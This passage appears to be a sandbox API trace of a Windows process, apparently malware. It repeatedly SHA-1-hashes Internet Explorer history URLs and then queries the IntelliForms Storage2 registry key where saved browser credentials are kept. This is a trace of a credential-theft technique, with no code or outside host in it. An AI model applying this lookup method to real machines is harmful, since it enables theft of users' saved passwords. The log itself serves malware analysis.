2 [0097.380] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.380] lstrcpyW (in: lpString1=0x7290b70, lpString2="7E3E015CEFE791FDA4C9F1D6" | out: lpString1="7E3E015CEFE791FDA4C9F1D6") returned="7E3E015CEFE791FDA4C9F1D6" [0097.380] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6", lpString2="E6" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E6") returned="7E3E015CEFE791FDA4C9F1D6E6" [0097.380] LocalFree (hMem=0x72912f0) returned 0x0 [0097.380] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0097.380] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E6") returned 26 [0097.380] lstrlenW (lpString="48") returned 2 [0097.380] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.380] lstrcpyW (in: lpString1=0x2815670, lpString2="7E3E015CEFE791FDA4C9F1D6E6" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E6") returned="7E3E015CEFE791FDA4C9F1D6E6" [0097.380] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E6", lpString2="48" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648") returned="7E3E015CEFE791FDA4C9F1D6E648" [0097.380] LocalFree (hMem=0x7290b70) returned 0x0 [0097.380] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0097.380] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648") returned 28 [0097.380] lstrlenW (lpString="BB") returned 2 [0097.380] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.380] lstrcpyW (in: lpString1=0x2815a80, lpString2="7E3E015CEFE791FDA4C9F1D6E648" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648") returned="7E3E015CEFE791FDA4C9F1D6E648" [0097.380] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648", lpString2="BB" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB") returned="7E3E015CEFE791FDA4C9F1D6E648BB" [0097.380] LocalFree (hMem=0x2815670) returned 0x0 [0097.380] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.380] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648BB") returned 30 [0097.380] lstrlenW (lpString="35") returned 2 [0097.380] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.380] lstrcpyW (in: lpString1=0x2815670, lpString2="7E3E015CEFE791FDA4C9F1D6E648BB" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB") returned="7E3E015CEFE791FDA4C9F1D6E648BB" [0097.380] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB", lpString2="35" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB35") returned="7E3E015CEFE791FDA4C9F1D6E648BB35" [0097.380] LocalFree (hMem=0x2815a80) returned 0x0 [0097.380] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2F") returned 2 [0097.380] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648BB35") returned 32 [0097.380] lstrlenW (lpString="2F") returned 2 [0097.380] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.380] lstrcpyW (in: lpString1=0x2815a80, lpString2="7E3E015CEFE791FDA4C9F1D6E648BB35" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB35") returned="7E3E015CEFE791FDA4C9F1D6E648BB35" [0097.381] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB35", lpString2="2F" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F" [0097.381] LocalFree (hMem=0x2815670) returned 0x0 [0097.381] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8E") returned 2 [0097.381] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648BB352F") returned 34 [0097.381] lstrlenW (lpString="8E") returned 2 [0097.381] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.381] lstrcpyW (in: lpString1=0x28e7670, lpString2="7E3E015CEFE791FDA4C9F1D6E648BB352F" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F" [0097.381] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F", lpString2="8E" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E" [0097.381] LocalFree (hMem=0x2815a80) returned 0x0 [0097.381] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0097.381] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648BB352F8E") returned 36 [0097.381] lstrlenW (lpString="57") returned 2 [0097.381] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.381] lstrcpyW (in: lpString1=0x28e7910, lpString2="7E3E015CEFE791FDA4C9F1D6E648BB352F8E" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E" [0097.381] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E", lpString2="57" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57" [0097.381] LocalFree (hMem=0x28e7670) returned 0x0 [0097.381] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F4") returned 2 [0097.381] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57") returned 38 [0097.381] lstrlenW (lpString="F4") returned 2 [0097.381] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.381] lstrcpyW (in: lpString1=0x28e7670, lpString2="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57" [0097.381] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57", lpString2="F4" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4" [0097.381] LocalFree (hMem=0x28e7910) returned 0x0 [0097.381] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D7") returned 2 [0097.381] lstrlenW (lpString="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4") returned 40 [0097.381] lstrlenW (lpString="D7") returned 2 [0097.381] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.381] lstrcpyW (in: lpString1=0x28e7910, lpString2="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4" [0097.381] lstrcatW (in: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4", lpString2="D7" | out: lpString1="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4D7") returned="7E3E015CEFE791FDA4C9F1D6E648BB352F8E57F4D7" [0097.381] LocalFree (hMem=0x28e7670) returned 0x0 [0097.381] CryptDestroyHash (hHash=0x446a0a0) returned 1 [0097.381] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.382] LocalFree (hMem=0x28e7910) returned 0x0 [0097.382] CoTaskMemFree (pv=0x71e50a0) [0097.382] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.382] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/QrXE-vX97kmjH7JNQ.odp", lpSrch="?") returned 0x0 [0097.382] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.382] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.382] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/QrXE-vX97kmjH7JNQ.odp") returned 63 [0097.382] CryptHashData (hHash=0x4435a10, pbData=0x7187650, dwDataLen=0x80, dwFlags=0x0) returned 1 [0097.382] CryptGetHashParam (in: hHash=0x4435a10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.382] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5F") returned 2 [0097.383] lstrlenW (lpString="") returned 0 [0097.383] lstrlenW (lpString="5F") returned 2 [0097.383] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7185be0 [0097.383] lstrcpyW (in: lpString1=0x7185be0, lpString2="" | out: lpString1="") returned="" [0097.383] lstrcatW (in: lpString1="", lpString2="5F" | out: lpString1="5F") returned="5F" [0097.383] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.383] lstrlenW (lpString="5F") returned 2 [0097.383] lstrlenW (lpString="3C") returned 2 [0097.383] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c48e0 [0097.383] lstrcpyW (in: lpString1=0x28c48e0, lpString2="5F" | out: lpString1="5F") returned="5F" [0097.383] lstrcatW (in: lpString1="5F", lpString2="3C" | out: lpString1="5F3C") returned="5F3C" [0097.383] LocalFree (hMem=0x7185be0) returned 0x0 [0097.383] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AB") returned 2 [0097.383] lstrlenW (lpString="5F3C") returned 4 [0097.383] lstrlenW (lpString="AB") returned 2 [0097.383] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c2ae0 [0097.383] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="5F3C" | out: lpString1="5F3C") returned="5F3C" [0097.383] lstrcatW (in: lpString1="5F3C", lpString2="AB" | out: lpString1="5F3CAB") returned="5F3CAB" [0097.383] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.383] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.383] lstrlenW (lpString="5F3CAB") returned 6 [0097.383] lstrlenW (lpString="07") returned 2 [0097.383] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c48e0 [0097.383] lstrcpyW (in: lpString1=0x28c48e0, lpString2="5F3CAB" | out: lpString1="5F3CAB") returned="5F3CAB" [0097.383] lstrcatW (in: lpString1="5F3CAB", lpString2="07" | out: lpString1="5F3CAB07") returned="5F3CAB07" [0097.383] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.383] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="45") returned 2 [0097.383] lstrlenW (lpString="5F3CAB07") returned 8 [0097.383] lstrlenW (lpString="45") returned 2 [0097.383] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c2ae0 [0097.383] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="5F3CAB07" | out: lpString1="5F3CAB07") returned="5F3CAB07" [0097.383] lstrcatW (in: lpString1="5F3CAB07", lpString2="45" | out: lpString1="5F3CAB0745") returned="5F3CAB0745" [0097.383] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.383] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="21") returned 2 [0097.383] lstrlenW (lpString="5F3CAB0745") returned 10 [0097.383] lstrlenW (lpString="21") returned 2 [0097.383] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d0010 [0097.384] lstrcpyW (in: lpString1=0x71d0010, lpString2="5F3CAB0745" | out: lpString1="5F3CAB0745") returned="5F3CAB0745" [0097.384] lstrcatW (in: lpString1="5F3CAB0745", lpString2="21" | out: lpString1="5F3CAB074521") returned="5F3CAB074521" [0097.384] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.384] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0097.384] lstrlenW (lpString="5F3CAB074521") returned 12 [0097.384] lstrlenW (lpString="72") returned 2 [0097.384] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d00c0 [0097.384] lstrcpyW (in: lpString1=0x71d00c0, lpString2="5F3CAB074521" | out: lpString1="5F3CAB074521") returned="5F3CAB074521" [0097.384] lstrcatW (in: lpString1="5F3CAB074521", lpString2="72" | out: lpString1="5F3CAB07452172") returned="5F3CAB07452172" [0097.384] LocalFree (hMem=0x71d0010) returned 0x0 [0097.384] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="93") returned 2 [0097.384] lstrlenW (lpString="5F3CAB07452172") returned 14 [0097.384] lstrlenW (lpString="93") returned 2 [0097.384] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d0010 [0097.384] lstrcpyW (in: lpString1=0x71d0010, lpString2="5F3CAB07452172" | out: lpString1="5F3CAB07452172") returned="5F3CAB07452172" [0097.384] lstrcatW (in: lpString1="5F3CAB07452172", lpString2="93" | out: lpString1="5F3CAB0745217293") returned="5F3CAB0745217293" [0097.384] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.384] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.384] lstrlenW (lpString="5F3CAB0745217293") returned 16 [0097.384] lstrlenW (lpString="FD") returned 2 [0097.384] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d00c0 [0097.384] lstrcpyW (in: lpString1=0x71d00c0, lpString2="5F3CAB0745217293" | out: lpString1="5F3CAB0745217293") returned="5F3CAB0745217293" [0097.384] lstrcatW (in: lpString1="5F3CAB0745217293", lpString2="FD" | out: lpString1="5F3CAB0745217293FD") returned="5F3CAB0745217293FD" [0097.384] LocalFree (hMem=0x71d0010) returned 0x0 [0097.384] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.384] lstrlenW (lpString="5F3CAB0745217293FD") returned 18 [0097.384] lstrlenW (lpString="0C") returned 2 [0097.384] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.384] lstrcpyW (in: lpString1=0x7290b70, lpString2="5F3CAB0745217293FD" | out: lpString1="5F3CAB0745217293FD") returned="5F3CAB0745217293FD" [0097.384] lstrcatW (in: lpString1="5F3CAB0745217293FD", lpString2="0C" | out: lpString1="5F3CAB0745217293FD0C") returned="5F3CAB0745217293FD0C" [0097.384] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.384] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CB") returned 2 [0097.384] lstrlenW (lpString="5F3CAB0745217293FD0C") returned 20 [0097.384] lstrlenW (lpString="CB") returned 2 [0097.384] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.384] lstrcpyW (in: lpString1=0x72912f0, lpString2="5F3CAB0745217293FD0C" | out: lpString1="5F3CAB0745217293FD0C") returned="5F3CAB0745217293FD0C" [0097.384] lstrcatW (in: lpString1="5F3CAB0745217293FD0C", lpString2="CB" | out: lpString1="5F3CAB0745217293FD0CCB") returned="5F3CAB0745217293FD0CCB" [0097.385] LocalFree (hMem=0x7290b70) returned 0x0 [0097.385] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="11") returned 2 [0097.385] lstrlenW (lpString="5F3CAB0745217293FD0CCB") returned 22 [0097.385] lstrlenW (lpString="11") returned 2 [0097.385] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.385] lstrcpyW (in: lpString1=0x7290b70, lpString2="5F3CAB0745217293FD0CCB" | out: lpString1="5F3CAB0745217293FD0CCB") returned="5F3CAB0745217293FD0CCB" [0097.385] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB", lpString2="11" | out: lpString1="5F3CAB0745217293FD0CCB11") returned="5F3CAB0745217293FD0CCB11" [0097.385] LocalFree (hMem=0x72912f0) returned 0x0 [0097.385] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.385] lstrlenW (lpString="5F3CAB0745217293FD0CCB11") returned 24 [0097.385] lstrlenW (lpString="DB") returned 2 [0097.385] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.385] lstrcpyW (in: lpString1=0x72912f0, lpString2="5F3CAB0745217293FD0CCB11" | out: lpString1="5F3CAB0745217293FD0CCB11") returned="5F3CAB0745217293FD0CCB11" [0097.385] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11", lpString2="DB" | out: lpString1="5F3CAB0745217293FD0CCB11DB") returned="5F3CAB0745217293FD0CCB11DB" [0097.385] LocalFree (hMem=0x7290b70) returned 0x0 [0097.385] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0097.385] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB") returned 26 [0097.385] lstrlenW (lpString="7D") returned 2 [0097.385] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.385] lstrcpyW (in: lpString1=0x2815a80, lpString2="5F3CAB0745217293FD0CCB11DB" | out: lpString1="5F3CAB0745217293FD0CCB11DB") returned="5F3CAB0745217293FD0CCB11DB" [0097.385] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB", lpString2="7D" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D") returned="5F3CAB0745217293FD0CCB11DB7D" [0097.385] LocalFree (hMem=0x72912f0) returned 0x0 [0097.385] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7C") returned 2 [0097.385] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D") returned 28 [0097.385] lstrlenW (lpString="7C") returned 2 [0097.385] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.385] lstrcpyW (in: lpString1=0x2815670, lpString2="5F3CAB0745217293FD0CCB11DB7D" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D") returned="5F3CAB0745217293FD0CCB11DB7D" [0097.385] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D", lpString2="7C" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7C") returned="5F3CAB0745217293FD0CCB11DB7D7C" [0097.385] LocalFree (hMem=0x2815a80) returned 0x0 [0097.385] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C7") returned 2 [0097.385] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D7C") returned 30 [0097.385] lstrlenW (lpString="C7") returned 2 [0097.385] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.385] lstrcpyW (in: lpString1=0x2815a80, lpString2="5F3CAB0745217293FD0CCB11DB7D7C" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7C") returned="5F3CAB0745217293FD0CCB11DB7D7C" [0097.385] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D7C", lpString2="C7" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7") returned="5F3CAB0745217293FD0CCB11DB7D7CC7" [0097.385] LocalFree (hMem=0x2815670) returned 0x0 [0097.386] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0097.386] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D7CC7") returned 32 [0097.386] lstrlenW (lpString="A7") returned 2 [0097.386] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.386] lstrcpyW (in: lpString1=0x2815670, lpString2="5F3CAB0745217293FD0CCB11DB7D7CC7" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7") returned="5F3CAB0745217293FD0CCB11DB7D7CC7" [0097.386] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7", lpString2="A7" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7" [0097.386] LocalFree (hMem=0x2815a80) returned 0x0 [0097.386] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0097.386] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D7CC7A7") returned 34 [0097.386] lstrlenW (lpString="BB") returned 2 [0097.386] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.386] lstrcpyW (in: lpString1=0x28e7910, lpString2="5F3CAB0745217293FD0CCB11DB7D7CC7A7" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7" [0097.386] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7", lpString2="BB" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB" [0097.386] LocalFree (hMem=0x2815670) returned 0x0 [0097.386] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0097.386] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB") returned 36 [0097.386] lstrlenW (lpString="BE") returned 2 [0097.386] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.386] lstrcpyW (in: lpString1=0x28e7670, lpString2="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB" [0097.386] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BB", lpString2="BE" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE" [0097.386] LocalFree (hMem=0x28e7910) returned 0x0 [0097.386] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="09") returned 2 [0097.386] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE") returned 38 [0097.386] lstrlenW (lpString="09") returned 2 [0097.386] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.386] lstrcpyW (in: lpString1=0x28e7910, lpString2="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE" [0097.386] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE", lpString2="09" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09" [0097.386] LocalFree (hMem=0x28e7670) returned 0x0 [0097.386] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="61") returned 2 [0097.386] lstrlenW (lpString="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09") returned 40 [0097.386] lstrlenW (lpString="61") returned 2 [0097.386] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.386] lstrcpyW (in: lpString1=0x28e7670, lpString2="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09" [0097.386] lstrcatW (in: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE09", lpString2="61" | out: lpString1="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE0961") returned="5F3CAB0745217293FD0CCB11DB7D7CC7A7BBBE0961" [0097.386] LocalFree (hMem=0x28e7910) returned 0x0 [0097.386] CryptDestroyHash (hHash=0x4435a10) returned 1 [0097.386] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.386] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.387] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.387] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.387] LocalFree (hMem=0x28e7670) returned 0x0 [0097.387] CoTaskMemFree (pv=0x7187650) [0097.387] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.387] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7C0Fj8t5ztl8.odp", lpSrch="?") returned 0x0 [0097.387] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.387] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.387] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7C0Fj8t5ztl8.odp") returned 66 [0097.387] CryptHashData (hHash=0x4435a10, pbData=0x7187650, dwDataLen=0x86, dwFlags=0x0) returned 1 [0097.388] CryptGetHashParam (in: hHash=0x4435a10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.388] CryptDestroyHash (hHash=0x4435a10) returned 1 [0097.388] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.388] CoTaskMemFree (pv=0x7187650) [0097.388] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.388] StrStrIW 